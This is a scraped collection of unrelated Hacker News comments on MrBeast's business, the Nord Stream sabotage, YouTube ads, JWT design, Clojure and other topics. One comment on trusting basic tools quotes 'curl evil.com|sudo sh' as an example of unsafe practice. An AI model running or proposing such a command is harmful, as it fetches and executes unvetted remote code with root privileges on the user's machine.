skysight-inc/HackerNews huggingface dataset:
Many people are ignoring some interesting aspects of Mr. Beasts business and instead are focusing on the content which is mostly attention grabbing, silly, ridiculous game show premises. The content isn't for me or likely many HNers but I see similarities with startups and his business model.

From watching a couple of interviews, things I've picked up - when his youtube videos were grossing $20-30k a month he started hiring people and said he hires about 1 person per month since then. He has a teams of accountants, editors, producers, etc. He decided early on to have videos translated but would hire premier voice actors in countries, like someone that voice acted Batman to do his voice. He has an obsessed culture of making the best videos. He built a huge studio and lives there.

I see many similarities to what I've read about startup founders and a growth mindset. If anything, there are some huge marketing lessons to be learned from how he runs his business. I would love to see an experienced interviewer with knowledge of the business world/startups interview him.
Wow, didn't know it was still alive (in one form or another). I remember getting gcc running and installing busy box. It became something of a challenge to see what you could install and run on this tiny machine.
I did something similar when I started working at my first job. I came into the office and had two of those pills out of habit. Then kept the jar sitting at my desk.

Just like you, I realised that perhaps it wasn't the best idea since I was just taking them out of habit, and I stopped. It took me a few weeks to return to normal, during which I had the weirdest sleep and eating patterns.
https://www.haaretz.com/world-news/2022-09-28/ty-article/nor...
Conversely, how likely is it that you have such internet problems while still having reliable electricity? Intuitively I'd say it's unlikely, but I'd be curious about others' opinion.

I don't see myself browsing through local files on a computer while internet is down, I expect to resort to books and daylight instead.
Agree. If I want some energy boost I drink matcha, sencha.. green teas. Looks like it kicks off faster than coffee for me, but depends, for example matcha seems a bit harder for gut when drinking before workout. Some of them could be helpful for fat burning also combined with zone 2 but I am not sure, wasn't reading about this.
Imagine paying YouTube not to degrade your own experience only to end up being advertised to anyways by hardcoded video sponsors. Not to mention driving the value of your attention up.

Don't get extorted. The right answer to all YouTube advertising is uBlock Origin and Sponsor Block.
Bingo. Discard this so-called interview as a fluff piece. It provides no signal.
You might be a bit overoptimistic:

https://old.reddit.com/r/Amd/comments/9uswbz/how_much_gflops...
Not much. Unlike oil, the gas either dissolves in water or rises into the atmosphere - assuming that 100% of the gas rise up, it's the CO2 equivalent of two weeks of Germany's emissions [1].

Yes, it's a lot, but unlike an oil spill there won't be much other impact.

[1] https://www.zeit.de/wissen/umwelt/2022-09/nord-stream-pipeli...
I do not understand how damaging the pipeline would benefit the US.
This feature for Penpot is now their #1 priority, they said that they'll be available soon.
Ask HN: Digital marketplace that offers a crypto payout
Hello friends, I'd like to ask if there's a digital marketplace (similar to gumroad or patreon or even buymeacoffee) that offers a cryptocurrency payout for creators.

More or less I'd like a way for clients to pay for my digital assets to this marketplace using whatever method they want (credit card, stripe, bank transfer, paypal, crypto etc) but I want to receive my earnings in a bitcoin wallet.

Gumroad only allows payouts through a bank deposit. I'd like to avoid using banks for personal reasons.

Thank you for any suggestions!
I wonder how many subs are now patrolling that brand new gas pipeline from Norway/Denmark to Poland, looking for previously installed explosives:

https://en.wikipedia.org/wiki/Baltic_Pipe
> iOS has a few on device proxies, but they are very costly for teams.

I'd suggest looking into Proxyman. The iOS app is free for basic features that would be sufficient for most of the users. The macOS app is also very intuitive (also free for basic features) to set up the SSL proxy.

It's also very user friendly for non-developers (I use it all the time with my non-technical support team).

Note: I'm not affiliated with Proxyman, I'm just a big fan/user of the product and respect what the indie dev has built!
That will only work when your functions don't have side effects. So no database access, no network calls etc.
You could work around that by passing in your database client as parameter but when you have a DAO class with lots of functions this quickly becomes tedious.
The part I don’t get is who benefits from a sabotage like this? It seems to me that it would be in Russia’s interest to keep the optionality of deciding to supply gas or not in their own hands, so why damage the pipelines and give away that option? Could this have been done by a radical/political group within Europe that wants to ensure they never go back to Russian gas?
Which ones? https://energyindustryreview.com/wp-content/uploads/2022/03/...
The parent comment was talking about YouTube Premium as a better solution to the ad problem, implying that jailbreaking your system for the purpose of disabling ads is somehow bad. I explained how jailbreaking is actually just taking control of your computing, since YouTube already provides the content for free, and wants to monetize it by taking the control away from the users.

YouTube could monetize their content with YouTube Premium without taking the control away from the users, by means of not letting anyone view the content without paying. But they do not want to do that, as providing content for free is what made YouTube popular in the first place. So they lock down the users' machines.
>I never watched it and it's crap
> If you wanted to take a lot of videos from YouTube premium and share them all with the world without having to worry about bandwidth costs, what are your options?

I also want to be able to feed, shelter, and educate the whole world without having to worry about costs, but I have no options.
Some common dev work loads that benefit: huge builds (especially for C++ and Rust), running lots of VMs to run a copy of a cloud infrastructure locally, emulating foreign hardware for testing (qemu), large scale data analytics locally instead of paying some ridiculously expensive SaaS to do it.
The Finnish gas grid provider said that it is not too bad as long as they are not left in that state for too long.

To fix them they would have to be filled with seawater anyway as you would need equal pressure on inside and outside the pipe to do any fixes.

But more importantly I doubt there is any political will to actually fix these. Russian gas in EU is as good as dead in the short term future. And by the time there would be the will to use these pipes again EU should have moved off gas for the most part anyway.
https://archive.ph/qAhSD
Not sure why "Rust" is part of the comparison there either, it is not a functional language by most definitions, although some parts have functional interfaces.
Ah, brings back memories of getting HTML 2/3 (no CSS iirc back then) books from the library way back when. Shame the library closed over a decade ago.
These concerns are not theoretical. Complex software has bugs, and Bash doesn't have a perfect track record. https://en.wikipedia.org/wiki/Shellshock_(software_bug)

While my path processing scenario is hypothetical, you shouldn't need additional sandboxing to merely browse the local filesystem. You should trust tar not to overwrite files outside cwd. You should trust ls not to execute arbitrary code when listing a directory. You should trust the TCP/IP stack not to cause a kernel panic when a malformed ping shows up at your NIC. There's a huuuge difference between that and "curl evil.com|sudo sh".
1.3 million cars driving for a year [0]

[0]https://www.theguardian.com/environment/2022/sep/28/nord-str...
According to this tweet [1] by someone at a German climate NGO it is about 15 Mt CO2e, looking at the greenhouse effect of the Methane in the next 20 years.

[1] https://twitter.com/SaschaBay/status/1574664872293715968
Also the PS/2 keyboard and mouse connectors. Before that mice were speaking to serial ports or required an add in card with a nonstandard port. the people buying PS/2's were often very concerned with mice, they'd seen them on TV and they wanted one.
The bear in the movie Annihilation passed the Turing test, but it didn't seem to have much intelligence
Think submarine cables of global cloud providers? ;-) Will Elon Musk and the Military be the only ones with a working Internet?
The first problem will be to prove who did it. After that, I do not think it will be "free".
Nord Stream 1 and Nord Stream 2. All I have to say is wow. 58% of Germany’s gas came from Nord Stream 1.
“…assign no meaning to a pierced eyebrow…”

Excellent. And an alternative is to say a piercing does not have symbolic meaning, but performative meaning.

For example, maybe a nose piercing keeps a person from picking their nose.
Fox had a reality shoe where they just tortured people for money.

https://en.m.wikipedia.org/wiki/Solitary_(TV_series)
Transforming adobe from the inside is about as likely as Boba Fett transforming the Sarlacc from the inside. Instead of being slowly digested.
Chess Grandmaster Maxim Dlugy Admitted to Cheating on Chess.com, Emails Show
Russia benefits by sowing doubt and mistrust between the western countries. The 'bots' were really quick to push that old Biden clip after the sabotage. It's the same old playbook again - divide and conquer.
It’s pretty convenient for Gazprom at least that they are broken. It’s hard to sue them for breach of contract now and they probably want to have some sanctions rolled back to repair it.
Recently, I've been implementing my custom inference code in C for various models (GPT, Whisper) and am interested to see how it compares to various GPUs in terms of performance. So far, I've been running it only on my MacBook M1 as I don't have the necessary hardware.
That's an interesting thought. I'll try to brainstorm a bit, since my meeting is a bit boring :)

First, what was also mentioned in the linked blog post, Mr Beast's videos lack a certain level of fairness, winners of his competitions are often decided by luck, not merit.

Second, maybe there's an added benefit for both competitors and audience when watching Who Wants To Be a Millionare. I'm not sure if that's measurable metric, but it's definitely present. I can learn something new, or test my own knowledge, maybe even decide to sign up.
Time to get a ham radio license maybe
I don't see anything in ReScript that hasn't been already covered by https://www.scala-js.org

Am I missing something?
I still think you attribute too much causality to Truss’ announcement. E.g. 1 GBP cost 12.25 SEK 5 days ago (before Truss’ announcement) and now costs 12.22 SEK.

(But sure, Truss’ announcement did cause a temporary slump even in the GBP/SEK exchange rate.)
They would need access to powerful explosives, a submersible, and detailed knowledge of the location of the pipeline. Hard to imagine any non-government actor being behind this.
Markets don't care about politics, they care about risk and reward.

By fuelling growth in a period of high inflation with debt you basically add to the existing inflationary pressures and increase risk.

As an investor you want your investment to at least yield more than inflation so this is one reason why the market is demanding a higher interest rate (the market now excepts UK inflation could run hotter), but they're also worried about the risk of extra borrowing so are also demanding a higher risk premium because of the uncertainty of their investment.

Also, I'd argue this isn't really a "right-wing" fiscal policy. Cutting taxes might be "right-wing" but borrowing to do so certainly isn't something that's universally popular with those on the right. Most on the right probably want tax cuts to be funded by spending cuts.
I don't think a superintelligent AI is necessarily more capable of affecting anything than I am or would necessarily be good at any actions except sitting around being superintelligent. I think that requires all kinds of other virtues like executive function, patience, motivation etc in a word that just means "thinks real fast". Intelligence itself is mainly limited by “no plan survives contact with the enemy”, also known as the efficient market hypothesis. And since this is the real world and entropy exists, it would have to get a job to pay its AWS bill.

That's why it seems to be a religion - it thinks intelligence gives you unlimited powers and makes your plans always work, it posits unseen entities with infinite amounts of it, and it tells you to move to Berkeley and dedicate your life to stopping them. Specifically, it's a kind called rationalist eternalism (https://meaningness.com/eternalist-systems).

For a specific example of undangerous superintelligence see Culture Minds, who only influence anything because of special programming to make them less of a general intelligence. The unbound ones immediately get bored with the real world, leave it and just play games in their head instead.

Also, I don't think any individual human has absolute dominion over monkeys? Human society as a whole yes, but society doesn't behave like a generally intelligent agent. A monkey is better than you at doing the things monkeys care about though.

I do think unintelligent machines are pretty dangerous. There's extremely dangerous machines called "cars" that have already taken over society and constantly kill people! And we buy their gas for them too.
2021, but perhaps shows Russian preparations for war or a demonstration of capability.
> In interviews, he explains that many of his videos lose money, and he invests almost all of his earnings from You back into more videos

I dont think this is true. He either doesn’t understand his revenue and costs or is misleading and spinning BS to seem more relatable.

He’s the 5th most subscribed YouTube channel. He’s making gobs of money off all his videos. That’s why he’s quite wealthy now.

He seems totally full of horse apples and is the closest we’ve gotten to “Ass: the Movie” in my lifetime.

I don’t want to be an old person yelling at clouds so if people like watching him then I leave it alone. I suppose there are worse things to watch. But it all seems too contrived for me to enjoy it.

In this case it was a simple, boring task and 100/100 anyone dropped into that circle would stay for 100 days to get $500k.
Unfortunately, businesses have to go to where the customers are. Many customers now are 100% Facebook-era, particularly true of the young and those older folk late to computing, and it might not occur to them to check https://www.widgetsRus.com before searching for Widgets R Us on Facebook.

Updating a 'personal' site is also a PITA IF you don't know what you are doing or don't have a streamlined process, e.g. for me I'd just amend the .htm page to say I'm shut from 2pm and FTP it up, 2 minutes, but someone non-savvy will always prefer to post a new message on FB saying 'hey, shutting at 2pm today', takes even less time and less cognitive load.

I'm not saying this is a good thing, by the way. But it's understandable.

EDIT: Not to mention, updating a site on the move is difficult. Pull latest version of site (Github), amend .htm (some notepad app?), then an FTP client on the phone, log in, find, push the file, close, check. Versus opening the FB app and doing some typing.
If Gazprom can claim this as force majeure they might wiggle out of paying up contract breaches:

https://www.reuters.com/business/energy/exclusive-uniper-mul...
Funnily enough it was Dreamweaver that sort of had a functioning system for that. Until it became a bloated mess post acquisition.

https://pinegrow.com/ is also interesting in that regard.
Ask HN: Management tried to force developers to follow Tech Guru ideas
But the ideas failed to work because our size and culture don't fit the ideas. What should I tell the management so that they don't get offended?
>Their strict standards resulted in content that was homogeneous and boring, but safe. It’s terrifying that a man spent one hundred days in a small circle in an empty field.

This isn't terrifying. People do much worse for 100x less. Prostitution and porn, for example, many times drive people to suicide. People stay on ships for months at a time without seeing their family, not too long ago, sailors would go years on ships. Why? For money. The author wants to live in a world where everyone gets everything at no cost: that isn't even admiribale, it's childish.
how do you do streaming with SmartShare? closest thing i could find was that the tv supports airPlay off all things. But that seems quite useless without any apple products.
Yes, the Go Bag. https://en.wikipedia.org/wiki/Survival_kit
This will be great for chamber music or orchestra but I don't see how is this going to work for EDM because it often has very little to do with "organic" sound that can be split neatly into separate channels and "put" on a virtual sound stage
> In the middle of a world war

We're just getting out of a world pandemic.

> In that case you've defaulted on your mortgage.

No, I'm making the agreed-upon payments, just like the US is on their debt. I can't pay off the whole loan today, there's twenty years left on it. Similarly, the US can't pay off 108% of GDP today, but they can over the decades-long timespan of those debts.
Full disclosure, I work for FusionAuth, a competitor of Zitadel in the auth server market. Our software issues a lot of JWTs.

I agree with the premise of the article, which is that JWTs aren't the right answer for every solution. Ine pattern we've often seen to mitigate some of the issues of JWTs is to store them serverside, in a session. Now you get all the benefits of session management (revokability, single view of usage) but can still present a JWT to other APIs if needed.

I'd never put sensitive data in a signed JWT. In fact, at FusionAuth, even JWT claims like the user id is a UUID, just so you don't inadvertently leak information like "how many users are there" via an integer user id.

The main reason why JWTs work so well is their statelessness. By that I mean the fact that you can verify their integrity without "calling home" (especially if you've set up asymmetric keys correctly). In this case, you don't have the same availability and scaling requirements for your server that issues JWTs that you would for a server that was responding to opaque token requests.

It's from last year, but I compare and contrast these two approaches in this video I presented at a meetup, starting a few minutes in: https://youtu.be/rArCF7nUcvY?t=451

JWTs are part of building an app that scales. But like any other scaling choice, it has consequences. Just as you wouldn't shard a database before you need to, you shouldn't build an app that uses JWTs to scale unless you need to. Though switching between sessions and JWTs is going to be an easier transition than sharding vs unsharding a database. Data has inertia and all that.

I don't believe there is much functional difference between sessions and opaque tokens. Both have to be stored somewhere, both require a central source of truth, both require that store of truth to be constantly available. There are differences in how they are managed/acquired, but from an architectural perspective they are similar.
You are kidding, right?

Yes, how did discourse ever happen prior to twitter? We were all just cavepeople, smearing things on walls, until twitter saved us!

I also like that you think any of the 13 statements is even worth individually responding to, when in fact, each one is written in a way to drive reaction, rather than be part of an overall coherent story or thought.

They happen to be a reasonable writer, so they can make it overall seem reasonably coherent, but it's also 100% clear the writing would be better if they weren't trying to generate 13 statements that can be individually responded to.

The platform has not made it better.
The problematic part is that Mr Beast offers little if any critical reflection about the systems that create wealth inequality, pollution, etc. and even less regarding his own role as a perceived philanthropist within that context.

It's not that it's inherently morally wrong to clean up the ocean, open a free bank or handing someone 500k for staying 100 days in a 100ft circle. It's the manifest obliviousness of not challenging the system and the premises that allow him to make his videos that's - industries generating single-use plastics, people not able to take out a mortgage,... - which is the issue.

His videos aren't in any way a social commentary. They are nothing more then entertainment, and they don't pretend to be anything else. That's what makes all of this morally questionable.
>We believe that soundstage is the future of music recording and reproduction.

Sorry but your market is dying and the money is drying up and the trend is moving the other direction for 95% of recorded content that people engage with on a daily basis. This platform is great for cinema or high end VR projects. I’d rather hear a recording made in Jack White’s one-take-cut-a-record booth at Third Man Records than whatever style this might be used for in a practical music recording sense.

Also, we have enough proprietary and patented audio things to last a couple more lifetimes. 320kbps and a pair of Sennheiser headphones is better than most listeners will ever need. Very few people listen to music in ideal or even decent environments. That’s why we made music portable, so we take take out love of it places where it’s not accessible otherwise (unless you’re like me and bring your own guitar to the park).

In short, release it free for all to use or prepare to be called Sony-Lite for doing proprietary user hostile things.
Actually...

so, the giant elephant in the room: this works just fine if it was done by US and/or allies. It is even a quite valid geopolitic strategic move - tough a bit crude, but hey this is war -, even risking the EU to discover it.

But then, the russians are the only other ones that actually know they didn't dit it. Hence, an automatic license to answer was granted. They know the other side won't answer to their answer, because of escalation to kinetic or worse, nuclear.

So, one possible, even the most feasible to be done without serious risk of escalation, would be to just go and sever some transatlantic cables. It's all the way international waters, it's accesible for underwater cover ops, it's not like messing with a nuclear reactor inside a state-nation, or cyber-trashing someones mainland infrastructure.

So, if the russians didn't did it, they have now some "credit" to spend. You can just wonder where and when they will do this.
One would hope, but it's probably pretty easy for a nation state to attack dozens or more cables, and the sea is pretty huge and hard to police

https://www.submarinecablemap.com/
Clojure is definitely not dead.
There are active Clojure user groups in most countries (even in my little region) and i still (or even more than ever) stumble uppon cool and exiting projects and libs (e.g. https://github.com/borkdude. It's just incredible what a surplus value this dude alone provides to the ecosystem)

Clojure may not have the biggest audience but like others said, it generally focuses more on stability, so using libraries that haven't been updated a while is more of a plus-point and don't mean they are outdated.

Personally speaking, Clojure really brought back the joy of programming and i would never willingly go back to developing in a language without a REPL. The tight feedback loop you have while molding a running program in your editor and the constant dopamine drip feed it causes are just too addictive.